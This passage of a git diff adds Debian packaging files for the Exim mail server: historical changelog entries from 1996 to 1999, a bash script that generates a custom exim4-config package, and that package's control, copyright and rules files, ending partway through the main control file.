+ * debian/config: add Envelope-to: header in local delivery transport
+ * debian/copyright: update copyright date to 1999
+ * src/host.c: Fixed bug with IPv6 address handling properly
+ * src/verify.c: Removed work-around introduced in last release
+
+ -- Mark Baker <mbaker@iee.org> Mon, 21 Jun 1999 22:37:56 +0100
+
+exim (3.01-1) unstable; urgency=low
+
+ * New upstream release (bug fixes)
+ * src/verify.c: Fixed bug with IPv6 address handling
+ * debian/config: eximconfig -i should restart daemon
+
+ -- Mark Baker <mbaker@iee.org> Tue, 25 May 1999 23:33:00 +0100
+
+exim (3.00-1) unstable; urgency=low
+
+ * New upstream release
+ * OS/Makefile-Default: Enabled IPv6 support (this therefore requires
+ glibc 2.1)
+ * debian/config: Outputs new configuration file format
+ * debian/config: If called with -i option, installs exim in inetd.conf etc
+ * debian/postinst: When upgrading from pre-3.00 versions, convert
+ configuration file to new format. Leave exim not running, as the
+ configuration file will need to be manually checked.
+ * debian/postinst: registration of init.d script only done if exim configured
+
+ -- Mark Baker <mbaker@iee.org> Sat, 15 May 1999 01:22:33 +0100
+
+exim (2.11-4) unstable; urgency=low
+
+ * debian/cron.daily: only cycle logs if files exist (#35544, #35585,
+ #34645, #36271)
+ * debian/control: suggests exim-doc (#34086)
+ * debian/README.debian: include sample .forward file to handle mail on
+ debian mailing lists (thanks Giuliano)
+ * debian/config: allow domain name components that start with a
+ number. While these are strictly speaking not allowed, there are
+ plenty out there, and not allowing them was causing problems (#36320)
+
+ -- Mark Baker <mbaker@iee.org> Thu, 22 Apr 1999 23:08:16 +0100
+
+exim (2.11-3) unstable; urgency=low
+
+ * debian/config: recommend adding localhost to local domains if
+ fetchmail is to be used (#34088)
+ * debian/config: was generating invalid rewrite rules for a satellite
+ system with no root alias specified (#34060)
+ * debian/config: generated config includes "for" information in received
+ headers
+ * debian/config: set smtp_accept_queue_per_connection to 100 in
+ generated config, as the default of 10 is much too low for dialup
+ users
+ * debian/config: set freeze_tell_mailmaster to true in generated config
+ * debian/config: always allow relaying from localhost (#31844)
+ * debian/cron.daily: use savelog instead of exicyclog (#33467)
+
+ -- Mark Baker <mbaker@iee.org> Thu, 4 Mar 1999 23:50:16 +0000
+
+exim (2.11-2) unstable; urgency=low
+
+ * debian/config: write config files to /etc instead of /tmp (oops!)
+
+ -- Mark Baker <mbaker@iee.org> Mon, 1 Feb 1999 23:27:05 +0000
+
+exim (2.11-1) unstable; urgency=low
+
+ * New upstream version
+ * (Uses libpcre2 instead of libpcre1)
+ * debian/config: don't set never_users if user doesn't set up a root alias
+
+ -- Mark Baker <mbaker@iee.org> Fri, 28 Jan 1999 00:21:00 +0000
+
+exim (2.05-1) frozen unstable; urgency=low
+
+ * New upstream version (mostly bugfixes)
+
+ -- Mark Baker <mbaker@iee.org> Sat, 7 Nov 1998 00:24:44 +0000
+
+exim (2.04-3) unstable; urgency=low
+
+ * debian/init.d: don't enable inetd service when stopping daemon (#27265)
+ * delete lots of .orig files that didn't need to be in source diff (#27267)
+ * recompile against libident with correct shlibs (#27265)
+
+ -- Mark Baker <mbaker@iee.org> Thu, 1 Oct 1998 21:23:30 +0100
+
+exim (2.04-2) unstable; urgency=low
+
+ * debian/postinst: use -e so it dies on errors
+ * debian/preinst: don't use crontab if it isn't installed
+
+ -- Mark Baker <mbaker@iee.org> Sun, 27 Sep 1998 22:07:51 +0100
+
+exim (2.04-1) unstable; urgency=low
+
+ * New upstream version (mostly bug fixes)
+ * debian/crontab: check exim exists and is executable (#26953)
+
+ -- Mark Baker <mbaker@iee.org> Sat, 26 Sep 1998 21:26:19 +0100
+
+exim (2.02-4) unstable; urgency=low
+
+ * debian/crontab: 2>&1 should be after >/dev/null
+
+ -- Mark Baker <mbaker@iee.org> Tue, 01 Sep 1998 22:49:00 +0100
+
+exim (2.02-3) unstable; urgency=low
+
+ * Local/Makefile: include maildir support (#25575)
+
+ -- Mark Baker <mbaker@iee.org> Mon, 10 Aug 1998 21:46:08 +0100
+
+exim (2.02-2) unstable; urgency=medium
+
+ * debian/crontab: should be 2>&1 instead of 2&>1 (#25539,#25552,#25558)
+
+ -- Mark Baker <mbaker@iee.org> Sun, 09 Aug 1998 22:23:00 +0100
+
+exim (2.02-1) unstable; urgency=low
+
+ * New upstream version (#24692)
+ * debian/crontab: send output to /dev/null (#24384)
+
+ -- Mark Baker <mbaker@iee.org> Thu, 06 Aug 1998 21:46:27 +0100
+
+exim (1.92-4) unstable; urgency=low
+
+ * debian/preinst: redirect stderr of some commands to /dev/null (#22867)
+ * src/macros.h: define iscntrl() so 8-bit strings work in headers
+ (#22932 and hopefully #20958)
+
+ -- Mark Baker <mbaker@iee.org> Sat, 30 May 1998 13:11:27 +0100
+
+exim (1.92-3) frozen unstable; urgency=low
+
+ * debian/config: write config files in /etc, not . (#22387)
+ * debian/config: properly comment out example rewriter (#22388)
+ * debian/postrm: remove rc.d links only on purge, not remove
+
+ -- Mark Baker <mbaker@iee.org> Wed, 13 May 1998 09:55:00 +0100
+
+exim (1.92-2) frozen unstable; urgency=low
+
+ * These together answer all but one of the issues raised in #22067
+ * debian/config: fix typo in "TRANPORTS"
+ * debian/config: put separator between each question
+ * debian/config: clarify question about qualifying domain for satellite
+ system
+ * debian/config: rewrite rule for satellite systems now matches root etc
+ case insensitively
+ * debian/config: include in output (commented out) example of how to
+ rewrite all outgoing addresses according to lookup table
+
+ -- Mark Baker <mbaker@iee.org> Mon, 04 May 1998 22:08:00 +0100
+
+exim (1.92-1) frozen unstable; urgency=low
+
+ * New upstream version (minor bug fixes)
+ * OS/Makefile-Linux: compile with -O2
+ * OS/Makefile-Base: link with existing libident.a
+ * src/eximon.src: don't set LD_LIBRARY_PATH in eximon wrapper script
+ * exim_monitor/em_main.c: show last 8k of log when you start (#21956)
+ * debian/postinst: don't install in inetd.conf unless /etc/exim.conf
+ exists (#19548)
+ * debian/rules: minor changes
+
+ -- Mark Baker <mbaker@iee.org> Fri, 01 May 1998 22:55:25 +0100
+
+exim (1.91-1) frozen unstable; urgency=low
+
+ * New upstream version (bug fixes)
+
+ -- Mark Baker <mbaker@iee.org> Tue, 28 Apr 1998 10:12:38 +0100
+
+exim (1.90-5) frozen unstable; urgency=low
+
+ * debian/postinst: don't die if exim already running (#21181)
+ * debian/config: set umask to 022, so aliases file created has mode that
+ exim won't complain about (#21410)
+ * debian/control: suggest mail-reader, not mail-user-agent (which doesn't
+ exist)
+
+ -- Mark Baker <mbaker@iee.org> Thu, 16 Apr 1998 19:45:55 +0100
+
+exim (1.90-4) frozen unstable; urgency=low
+
+ * Delete debian/files before packaging source (#21217)
+
+ -- Mark Baker <mbaker@iee.org> Thu, 16 Apr 1998 19:45:55 +0100
+
+exim (1.90-3) frozen unstable; urgency=low
+
+ * Fixed silly bug that stopped eximconfig from running (I hadn't tested
+ it, as it was just one minor change to a comment. However, the comment
+ was in the generated exim.conf file, so was embedded in a perl
+ string---using an unescaped apostrophe broke things)
+
+ -- Mark Baker <mbaker@iee.org> Wed, 08 Apr 1998 19:42:51 +0100
+
+exim (1.90-2) frozen unstable; urgency=low
+
+ * Configuration written by eximconfig will not fail if mailbox has a
+ stricter mode than the default 0660
+
+ -- Mark Baker <mbaker@iee.org> Fri, 03 Apr 1998 11:06:20 +0100
+
+exim (1.90-1) frozen unstable; urgency=low
+
+ * New upstream version (bug fixes)
+ * Split out documentation, allowing pristine source to be used
+
+ -- Mark Baker <mbaker@iee.org> Wed, 01 Apr 1998 11:06:20 +0100
+
+exim (1.89.1-1) frozen unstable; urgency=low
+
+ * New upstream version 1.891 (bug fixes)
+
+ -- Mark Baker <mbaker@iee.org> Wed, 18 Mar 1998 20:11:30 +0000
+
+exim (1.89.0-2) frozen unstable; urgency=low
+
+ * Improved inetd.conf handling, hopefully won't lose any changes you make
+ over upgrades
+
+ -- Mark Baker <mbaker@iee.org> Sat, 14 Mar 1998 14:32:00 +0000
+
+exim (1.89.0-1) unstable; urgency=low
+
+ * New upstream version (1.890, a beta test of 1.90)
+ * Fixed cron scripts so they don't fail if exim not installed (eg when
+ upgrading)
+ * Added newline to end of generated /etc/aliases
+ * Pause after first paragraph of eximconfig (#19547)
+
+ -- Mark Baker <mbaker@iee.org> Sat, 14 Mar 1998 14:32:00 +0000
+
+exim (1.82-11) unstable; urgency=low
+
+ * Make ip-up.d script a config file
+ * Check for existence of exim before running it from ip-up.d (#19119)
+ * Only run eximconfig if there is no exim.conf file
+ * This means eximconfig doesn't need to check for exim.conf itself, and
+ so doesn't need a --force option
+
+ -- Mark Baker <mbaker@iee.org> Sat, 07 Mar 1998 21:02:30 +0000
+
+exim (1.82-10) unstable; urgency=low
+
+ * Fixed update-rc.d calls in postrm (#16355)
+ * Replaces: mail-transport-agent (#9305)
+
+ -- Mark Baker <mbaker@iee.org> Sat, 07 Mar 1998 17:54:30 +0000
+
+exim (1.82-9) unstable; urgency=low
+
+ * Added mailq manpage link
+ * Install docs copyright before calculating md5sums
+
+ -- Mark Baker <mbaker@iee.org> Fri, 27 Feb 1998 21:36:38 +0000
+
+exim (1.82-8) unstable; urgency=low
+
+ * Fixed manpages so whatis information can be extracted (#18667)
+ * Added a script for ip-up.d (#18675)
+
+ -- Mark Baker <mbaker@iee.org> Fri, 27 Feb 1998 21:36:38 +0000
+
+exim (1.82-7) unstable; urgency=low
+
+ * Corrected URL in eximconfig script (#18422)
+
+ -- Mark Baker <mbaker@iee.org> Fri, 20 Feb 1998 18:32:27 +0000
+
+exim (1.82-6) unstable; urgency=low
+
+ * exim-doc package doesn't depend on exim (#18285)
+
+ -- Mark Baker <mbaker@iee.org> Wed, 18 Feb 1998 12:03:10 +0000
+
+exim (1.82-5) unstable; urgency=low
+
+ * exim-doc package depends on exim
+ * Inserted space that was missing from depends line for eximon
+ * Added force-reload and restart options to init.d script
+
+ -- Mark Baker <mbaker@iee.org> Sun, 15 Feb 1998 22:29:00 +0000
+
+exim (1.82-4) unstable; urgency=low
+
+ * Written manpages for exiqsumm and eximconfig
+ * Updated FSF snail-mail address in copyright file
+ * Moved eximon.bin into /usr/lib/exim
+ * Updated standards-version to 2.4.0.0
+ * Fixed md5sum generation
+ * Symlinks from /usr/doc/{eximon,exim-doc} to exim
+ * Fixed typo in exim.conf generated by eximconfig (#18054)
+
+ -- Mark Baker <mbaker@iee.org> Tue, 10 Feb 1998 00:45:00 +0000
+
+exim (1.82-3) unstable; urgency=low
+
+ * Rewritten eximconfig
+ + Relaying configuration
+ + RBL spam-blocking (#17805)
+ + Ask before overwriting /etc/aliases (#16056)
+ + New configuration for system with local deliveries but smarthost
+ for remote mail---useful for dialup users
+ + Generally tidied up
+ * use /etc/cron.d instead of mail's crontab
+
+ -- Mark Baker <mbaker@iee.org> Sat, 7 Feb 1998 21:56:25 +0000
+
+exim (1.82-2) unstable; urgency=low
+
+ * Write startup messages in standard format
+
+ -- Mark Baker <mbaker@iee.org> Wed, 7 Jan 1998 21:21:35 +0000
+
+exim (1.82-1) unstable; urgency=low
+
+ * New upstream release
+
+ -- Mark Baker <mbaker@iee.org> Sat, 27 Dec 1997 12:17:23 +0000
+
+exim (1.81-1) unstable; urgency=low
+
+ * New upstream release (bug fixes)
+ * Removed bogus Replaces: line (#16054)
+ * Mark /etc/init.d/exim as a conffile
+
+ -- Mark Baker <mbaker@iee.org> Thu, 18 Dec 1997 11:28:11 +0000
+
+exim (1.80-2) unstable; urgency=low
+
+ * Fixed typo in control (#15927)
+ * Removed suggestion of metamail
+ * Don't include docs in exim package
+
+ -- Mark Baker <mbaker@iee.org> Sun, 14 Dec 1997 20:12:14 +0000
+
+exim (1.80-1) unstable; urgency=low
+
+ * New upstream release
+ * Strip binaries (#15720)
+
+ -- Mark Baker <mbaker@iee.org> Sat, 13 Dec 1997 20:46:18 +0000
+
+exim (1.73-11) unstable; urgency=low
+
+ * Really depend on cron. I put it in the changelog but forgot to
+ do it last time!
+
+ -- Mark Baker <mbaker@iee.org> Mon, 24 Nov 1997 23:24:09 +0000
+
+exim (1.73-10) unstable; urgency=low
+
+ * Rewritten copyright file
+ * Put note in prerm about deleting multiple inetd lines (#14554)
+ * Depend on cron (#15229)
+
+ -- Mark Baker <mbaker@iee.org> Mon, 24 Nov 1997 21:29:51 +0000
+
+exim (1.73-9) unstable; urgency=low
+
+ * The | I removed in 1.73-7 should have been changed to a \, not
+ removed altogether. I hope I haven't screwed up too many people's
+ /etc/crontab with this bug :(
+
+ -- Mark Baker <mbaker@iee.org> Tue, 11 Nov 1997 23:04:19 +0000
+
+exim (1.73-8) unstable; urgency=low
+
+ * Patch from upstream to fix bug with DB lookups
+
+ -- Mark Baker <mbaker@iee.org> Mon, 3 Nov 1997 11:25:37 +0000
+
+exim (1.73-7) unstable; urgency=low
+
+ * Remove spurious | from preinst that trashed /etc/crontab
+ * Remove from inetd etc in prerm rather than postrm
+
+ -- Mark Baker <mbaker@iee.org> Wed, 22 Oct 1997 14:36:21 +0100
+
+exim (1.73-6) unstable; urgency=low
+
+ * Now really clear up crontab from old versions
+ * Fix sed expressions (#14044)
+
+ -- Mark Baker <mbaker@iee.org> Wed, 22 Oct 1997 14:34:52 +0100
+
+exim (1.73-5) unstable; urgency=low
+
+ * Comment out crontab entry when removed (#14016)
+
+ -- Mark Baker <mbaker@iee.org> Mon, 20 Oct 1997 21:01:44 +0100
+
+exim (1.73-4) unstable; urgency=low
+
+ * Use mail user's crontab instead of system one
+ * Clear up crontab installed by old versions (#13998)
+ * Add md5sums
+
+ -- Mark Baker <mbaker@iee.org> Sun, 19 Oct 1997 23:21:35 +0100
+
+exim (1.73-3) unstable; urgency=low
+
+ * Rewrite postinst etc (I hadn't realised that they weren't complete) (#13940)
+
+ -- Mark Baker <mbaker@iee.org> Thu, 16 Oct 1997 23:58:46 +0100
+
+exim (1.73-2) unstable; urgency=low
+
+ * Install README.debian file
+ * Install {pre,post}{inst,rm} (#13919)
+
+ -- Mark Baker <mbaker@iee.org> Thu, 16 Oct 1997 14:45:42 +0100
+
+exim (1.73-1) unstable; urgency=low
+
+ * New upstream version
+ * New maintainer
+ * Rewritten most of debian/rules
+ * (and as a result, no longer use debmake)
+ * Documented what EXIM_GID is compiled in (#11907)
+ * Made eximconfig less confusing (#12664)
+
+ -- Mark Baker <mbaker@iee.org> Wed, 15 Oct 1997 17:13:27 +0100
+
+exim (1.71-1) unstable; urgency=low
+
+ * Upstream update and libc6 build. Minimize the diffs to upstream sources.
+
+ -- Christoph Lameter <clameter@debian.org> Thu, 25 Sep 1997 20:07:21 -0700
+
+exim (1.62-3) unstable; urgency=high
+
+ * Fixed buffer overrun security hole in .forward processing
+
+ -- Tim Cutts <tjrc1@scalopus.bio.cam.ac.uk> Tue, 22 Jul 1997 10:00:00 +0100
+
+exim (1.62-2) unstable; urgency=low
+
+ * Fixed paths in exicyclog (bugs #9444, #9759 and #9996)
+ * Transferred eximon man page from exim to eximon (bug #9425)
+
+ -- Tim Cutts <tjrc1@scalopus.bio.cam.ac.uk> Mon, 16 Jun 1997 11:37:56 +0100
+
+exim (1.62-1) unstable; urgency=low
+
+ * New upstream release
+
+ -- Tim Cutts <tjrc1@scalopus.bio.cam.ac.uk> Mon, 28 Apr 1997 14:36:37 +0000
+
+exim (1.61-1) unstable; urgency=low
+
+ * New upstream release, fixes debian bug #7671
+
+ -- Tim Cutts <tjrc1@scalopus.bio.cam.ac.uk> Tue, 4 Mar 1997 15:24:21 +0000
+
+exim (1.60-3) unstable; urgency=low
+
+ * Added a 'sendmail' alias to the exim manpage
+ * Incorporated Christoph's -1 and -2 changes into my own 1.60 package.
+
+ -- Tim Cutts <tjrc1@scalopus.bio.cam.ac.uk> Thu, 27 Feb 1997 17:57:30 +0000
+
+exim (1.60-2) unstable; urgency=low
+
+ * Add some more manpages
+ * /usr/sbin/sendmail and /usr/sbin/runq symlink was missing.
+
+ -- Christoph Lameter <clameter@debian.org> Wed, 26 Feb 1997 12:34:08 -0800
+
+exim (1.60-1) unstable; urgency=low
+
+ * New upstream version
+ * Manpages written
+
+ -- Christoph Lameter <clameter@debian.org> Wed, 26 Feb 1997 10:18:06 -0800
+
+exim (1.59.8-2) unstable; urgency=low
+
+ * Reversed some of Christoph's changes; put textual documentation
+ back into exim package, and info files into exim-doc package.
+
+ -- Tim Cutts <tjrc1@scalopus.bio.cam.ac.uk> Thu, 27 Feb 1997 12:37:15 +0000
+
+exim (1.59.8-1) unstable; urgency=low
+
+ * Supplies some more information regaring uucp and kernel related NFS
+ problems
+ * New upstream release
+
+ -- Christoph Lameter <clameter@debian.org> Mon, 24 Feb 1997 11:57:10 -0800
+
+exim (1.59.6-1) unstable; urgency=low
+
+ * Put into unstable
+ * Some fixes to the debian setup and the eximconfig script
+ * New upstream release
+
+ -- Christoph Lameter <clameter@debian.org> Thu, 6 Feb 1997 10:26:23 -0800
+
+exim (1.59.5-3) experimental; urgency=low
+
+ * Rebuild with debmake 3.0.6
+ * eximstats: Small bug fixed
+
+ -- Christoph Lameter <clameter@debian.org> Fri, 31 Jan 1997 08:37:35 -0800
+
+exim (1.59.5-2) experimental; urgency=low
+
+ * Rebuild with debmake 3.0.1
+
+ -- Christoph Lameter <clameter@debian.org> Wed, 29 Jan 1997 12:57:12 -0800
+
+exim (1.59.5-1) experimental; urgency=low
+
+ * Experimental package for debstdn (debmake 2.80)
+ * New upstream release. NFS Hacks removed.
+
+ -- Christoph Lameter <clameter@debian.org> Sat, 25 Jan 1997 17:21:41 -0800
+
+exim (1.59-1.2) experimental; urgency=low
+
+ * NFS Problem hacked around (just skipped offending section ....)
+ Locking via NFS is probably broken now.
+
+ -- Christoph Lameter <clameter@debian.org> Fri, 27 Dec 1996 19:39:16 -0800
+
+exim (1.59-1.1) experimental; urgency=low
+
+ * Full Replacement for smail (and better, easier than smail)
+ * Compiled with db libraries instead of dbm.
+ * Send Daily Statistics to Postmaster
+ * Run eximcyclog from /etc/cron.daily
+ * Run exim from inetd.conf. Run queue hourly via crontab.
+ * newaliases command provided for sendmail compatibility.
+
+ -- Christoph Lameter <clameter@debian.org> Mon, 23 Dec 1996 20:45:44 -0800
+
+exim (1.59-1) experimental; urgency=low
+
+ * Upgraded to exim 1.59
+ * Putting PID files in /var/run/exim/
+ * Changes to exim-doc package by Christoph
+ * Included a postrm script (to remove /var/run/exim, /etc/exim.conf and
+ /var/log/exim if purging)
+
+ -- Tim Cutts <tjrc1@scalopus.bio.cam.ac.uk> Wed, 18 Dec 1996 09:00:00 +0000
+
+exim (1.58-7) experimental; urgency=low
+
+ * Local/Makefile updated to be more FSSTND compliant
+ * Minor changes to debian/* files supporting this
+ * Default mail spool changed from /usr/spool/... to /var/spool/...
+ * Added a commented-out user = list line to the system_aliases director
+ for smartlist users to uncomment
+
+ -- Tim Cutts <tjrc1@scalopus.bio.cam.ac.uk> Tue, 17 Dec 1996 17:00:00 +0000
+
+exim (1.58-6) experimental; urgency=low
+
+ * eximinstall script was not installed
+ * problems with the init scripts failing
+
+ -- Christoph Lameter <clameter@debian.org> Mon, 16 Dec 1996 20:45:44 -0800
+
+exim (1.58-5) experimental; urgency=low
+
+ * Revised
+
+ -- Christoph Lameter <clameter@debian.org> Mon, 16 Dec 1996 07:11:31 -0800
+
+exim (1.58-4) unstable; urgency=low
+
+ * Initial efforts
+
+ -- Tim Cutts <tjrc1@scalopus.bio.cam.ac.uk> Mon, 25 Nov 1996 22:33:17 +0000
+
+
diff --git a/debian/compat b/debian/compat
new file mode 100644
index 0000000..f599e28
--- /dev/null
+++ b/debian/compat
@@ -0,0 +1 @@
+10
diff --git a/debian/config-custom/create-custom-config-package b/debian/config-custom/create-custom-config-package
new file mode 100755
index 0000000..03be647
--- /dev/null
+++ b/debian/config-custom/create-custom-config-package
@@ -0,0 +1,71 @@
+#!/bin/bash
+
+if [ -n "$1" ]; then
+ PACKAGESUFFIX="$1"
+else
+ PACKAGESUFFIX="custom"
+fi
+
+TARGETDIR="../exim4-config-$PACKAGESUFFIX"
+#DEBUG=1
+
+# copy over -changelog, generating a proper changelog entry
+# copy over update-exim4defaults, ip-up.d, email-addresses
+
+dh_testdir
+
+set -e
+
+copytextreplace() {
+ FILE="$1"
+ DSTFILE="$2"
+ DIR="${FILE%/*}"
+ FILE="${FILE##*/}"
+ if [ -z "$DSTFILE" ]; then
+ DSTFILE="$FILE"
+ fi
+ [ $DEBUG ] && echo >&2 "DBG: source $DIR/$FILE"
+ [ $DEBUG ] && echo >&2 "DBG: dst $TARGETDIR/$DIR/$DSTFILE"
+ mkdir -p $TARGETDIR/$DIR
+ if ! [ -e "$TARGETDIR/$DIR/$FILE" ]; then
+ < $DIR/$FILE \
+ sed -e "s/exim4-config/exim4-config-$PACKAGESUFFIX/g" \
+ -e "s/orig-exim4-config-$PACKAGESUFFIX/exim4-config/g" \
+ > $TARGETDIR/$DIR/$DSTFILE
+ chmod --reference=$DIR/$FILE $TARGETDIR/$DIR/$DSTFILE
+ else
+ echo >&2 "ERR: can't write to $TARGETDIR/$DIR/$DSTFILE, file exists"
+ exit 1
+ fi
+}
+
+for file in manpages config templates postinst postrm dirs; do
+ copytextreplace debian/exim4-config.$file exim4-config-$PACKAGESUFFIX.$file
+done
+
+for file in `cat debian/exim4-config.manpages` \
+ `find debian/debconf \( -path '*/.svn/*' -prune \) -or \( -type f -print \)`; do
+ copytextreplace $file
+done
+
+for file in compat control copyright rules install; do
+ copytextreplace debian/config-custom/debian/$file
+done
+
+for file in ip-up.d update-exim4defaults email-addresses; do
+ copytextreplace debian/$file
+done
+
+# manual corrections in target directory
+
+mv $TARGETDIR/debian/config-custom/debian/* $TARGETDIR/debian
+rm -rf $TARGETDIR/debian/config-custom
+chmod 775 $TARGETDIR/debian/rules
+
+# hack changelog
+
+< debian/changelog sed -n "/^exim4/{s/exim4/exim4-config-$PACKAGESUFFIX/p;q;}" > $TARGETDIR/debian/changelog
+echo -e "\n * automatically generated changelog" >> $TARGETDIR/debian/changelog
+< debian/changelog sed -n '/^ --/{p;q;}' >> $TARGETDIR/debian/changelog
+cd $TARGETDIR
+dch --append "generated source package by create-custom-package"
diff --git a/debian/config-custom/debian/compat b/debian/config-custom/debian/compat
new file mode 100644
index 0000000..b8626c4
--- /dev/null
+++ b/debian/config-custom/debian/compat
@@ -0,0 +1 @@
+4
diff --git a/debian/config-custom/debian/control b/debian/config-custom/debian/control
new file mode 100644
index 0000000..b98933b
--- /dev/null
+++ b/debian/config-custom/debian/control
@@ -0,0 +1,18 @@
+Source: exim4-config
+Section: mail
+Priority: optional
+Maintainer: locally built <root@localhost>
+Standards-Version: 3.6.1.0
+Build-Depends-Indep: debhelper (>= 4.0.1)
+
+Package: exim4-config
+Architecture: all
+Priority: important
+Conflicts: orig-exim4-config
+Replaces: orig-exim4-config
+Provides: orig-exim4-config, orig-exim4-config-2
+Depends: ${shlibs:Depends}, ${misc:Depends}, exim4-base
+Description: exim4-config locally modified Debian configuration for exim4
+ This package provides the configuration for the exim4 daemon
+ packages. It is a locally built special version derived from
+ orig-exim4-config.
diff --git a/debian/config-custom/debian/copyright b/debian/config-custom/debian/copyright
new file mode 100644
index 0000000..1910196
--- /dev/null
+++ b/debian/config-custom/debian/copyright
@@ -0,0 +1,15 @@
+This is a custom made configuration package for Debian GNU/Linux's
+prepackaged version of exim4, a powerful yet easy to configure mail
+transport agent.
+
+This package was originally made by create-custom-package, a script
+written by Marc Haber <mh+debian-packages@zugschlus.de> using work
+provided by Andreas Metzler <ametzler@downhill.at.eu.org>.
+create-custom-package uses the exim4 source package to build this
+source package.
+
+The files in this package are free software; you can redistribute them
+and/or modify them under the terms of the GNU General Public License
+as published by the Free Software Foundation; either version 2, or (at
+your option) any later version. Full text of the license can be found
+at /usr/share/common-licenses/GPL
diff --git a/debian/config-custom/debian/install b/debian/config-custom/debian/install
new file mode 100644
index 0000000..718d496
--- /dev/null
+++ b/debian/config-custom/debian/install
@@ -0,0 +1,2 @@
+debian/debconf/update-exim4.conf.template usr/sbin
+debian/debconf/exim4.conf.template etc/exim4
diff --git a/debian/config-custom/debian/rules b/debian/config-custom/debian/rules
new file mode 100755
index 0000000..6dc6b79
--- /dev/null
+++ b/debian/config-custom/debian/rules
@@ -0,0 +1,94 @@
+#!/usr/bin/make -f
+# debian/rules for exim4-config-custom
+# This file is public domain software, originally written by Joey Hess.
+#
+# Uncomment this to turn on verbose mode.
+export DH_VERBOSE=1
+
+buildname=$${build:-`$(SHELL) scripts/os-type`-`$(SHELL) scripts/arch-type`}
+
+DEBIAN:=$(shell pwd)/debian
+
+configure: configure-stamp
+
+# the patches might change src/EDITME.
+configure-stamp:
+ dh_testdir
+ touch configure-stamp
+
+build-indep: build-indep-stamp
+build-indep-stamp:
+ dh_testdir
+ touch build-indep-stamp
+
+build: build-indep
+
+clean: cleanfiles
+
+cleanfiles:
+ dh_testdir
+ dh_testroot
+ rm -f build-indep-stamp configure-stamp install-stamp debian/files
+ rm -f debian/debconf/exim4.conf.template
+
+ # Add here commands to clean up after the build process.
+ dh_clean
+
+install: install-stamp
+install-stamp: build
+ dh_testdir
+ dh_testroot
+ dh_clean -k
+ dh_installdirs
+
+ install -m 755 debian/debconf/update-exim4.conf debian/exim4-config/usr/sbin
+ install -m 755 $(DEBIAN)/update-exim4defaults $(DEBIAN)/exim4-config/usr/sbin
+ # install -m644 debian/debconf/exim4.conf.template debian/exim4-config/etc/exim4
+
+ # ship a copy in examples
+ # install -m644 debian/debconf/exim4.conf.template debian/exim4-config/usr/share/doc/exim4-config/examples/exim4.conf.template.debconf
+ install -m644 debian/email-addresses debian/exim4-config/etc
+ install -m755 debian/ip-up.d debian/exim4-config/etc/ppp/ip-up.d/exim4
+ cd $(DEBIAN)/debconf/conf.d && \
+ tar cf - `find \( -path '*/.svn/*' -prune \) -or \( -type f -print \)` | \
+ { cd $(DEBIAN)/exim4-config/etc/exim4/conf.d/ && \
+ tar xf - ; }
+ chmod 755 debian/debconf/update-exim4.conf.template
+ CONFDIR=$(DEBIAN)/debconf debian/debconf/update-exim4.conf.template --nobackup --run
+
+# dh_movefiles
+ touch install-stamp
+
+# Build architecture-independent files here.
+binary-indep: build install
+ dh_testdir -i
+ dh_testroot -i
+ dh_installchangelogs -i
+ dh_installdocs -i
+ dh_installexamples -i
+ dh_installmenu -i
+ dh_installdebconf -i
+ dh_installlogrotate -i
+# dh_installemacsen -i
+ dh_installpam -i
+ dh_installmime -i
+# dh_installinit -i
+ dh_installcron -i
+# dh_installinfo -i
+# dh_undocumented -i
+ dh_installman -i
+ dh_install -i
+ dh_strip -i
+ dh_link -i
+ dh_compress -i
+ dh_fixperms -i
+# dh_makeshlibs -i
+ dh_installdeb -i
+# dh_perl -i
+ dh_shlibdeps -i
+ dh_gencontrol -i
+ dh_md5sums -i
+ dh_builddeb -i
+
+binary: binary-indep
+.PHONY: build clean binary-indep binary-arch binary install
diff --git a/debian/control b/debian/control
new file mode 100644
index 0000000..cd773bb
--- /dev/null
+++ b/debian/control
@@ -0,0 +1,306 @@
+Source: exim4
+Section: mail
+Priority: standard
+Maintainer: Exim4 Maintainers <pkg-exim4-maintainers@lists.alioth.debian.org>
+Uploaders:
+ Andreas Metzler <ametzler@debian.org>,
+ Marc Haber <mh+debian-packages@zugschlus.de>
+Homepage: https://www.exim.org/
+Standards-Version: 4.3.0
+Vcs-Git: https://salsa.debian.org/exim-team/exim4.git
+Vcs-Browser: https://salsa.debian.org/exim-team/exim4
+Build-Depends:
+ debhelper (>= 10),
+ default-libmysqlclient-dev,
+ docbook-xml,
+ docbook-xsl,
+ libdb5.3-dev,
+ libgnutls28-dev (>= 3.5.7),
+ libident-dev,
+ libldap2-dev,
+ libpam0g-dev,
+ libpcre3-dev,
+ libperl-dev,
+ libpq-dev,
+ libsasl2-dev,
+ libsqlite3-dev,
+ libx11-dev,
+ libxaw7-dev,
+ libxext-dev,
+ libxmu-dev,
+ libxt-dev,
+ lynx,
+ po-debconf,
+ xsltproc
+
+Package: exim4-base
+Architecture: any
+Priority: optional
+Breaks:
+ exim4-daemon-custom (<<${Upstream-Version}),
+ exim4-daemon-heavy (<<${Upstream-Version}),
+ exim4-daemon-light (<<${Upstream-Version})
+Conflicts: exim, exim-tls
+Replaces:
+ exim,
+ exim-tls,
+ exim4-daemon-custom,
+ exim4-daemon-heavy,
+ exim4-daemon-light
+Depends:
+ adduser,
+ cron | cron-daemon | anacron,
+ exim4-config (>=4.82) | exim4-config-2,
+ lsb-base (>= 3.0-6),
+ netbase,
+ ${misc:Depends},
+ ${shlibs:Depends}
+# psmisc just for exiwhat.
+Recommends: mailx, psmisc
+Suggests:
+ exim4-doc-html | exim4-doc-info,
+ eximon4,
+ file,
+ gnutls-bin | openssl,
+ mail-reader,
+ spf-tools-perl,
+ swaks
+Description: support files for all Exim MTA (v4) packages
+ Exim (v4) is a mail transport agent. exim4-base provides the support
+ files needed by all exim4 daemon packages. You need an additional package
+ containing the main executable. The available packages are:
+ .
+ exim4-daemon-light
+ exim4-daemon-heavy
+ .
+ If you build exim4 from the source package locally, you can also
+ build an exim4-daemon-custom package tailored to your own feature set.
+ .
+ The Debian exim4 packages have their own web page,
+ http://wiki.debian.org/PkgExim4. There is also a Debian-specific
+ FAQ list. Information about the way the Debian packages are
+ configured can be found in
+ /usr/share/doc/exim4-base/README.Debian.gz, which additionally contains
+ information about the way the Debian binary packages are built. The
+ very extensive upstream documentation is shipped in
+ /usr/share/doc/exim4-base/spec.txt.gz. To repeat the debconf-driven
+ configuration process in a standard setup, invoke dpkg-reconfigure
+ exim4-config. There is a Debian-centered mailing list,
+ pkg-exim4-users@lists.alioth.debian.org. Please ask Debian-specific
+ questions there, and only write to the upstream exim-users mailing
+ list if you are sure that your question is not Debian-specific. You
+ can find the subscription web page on
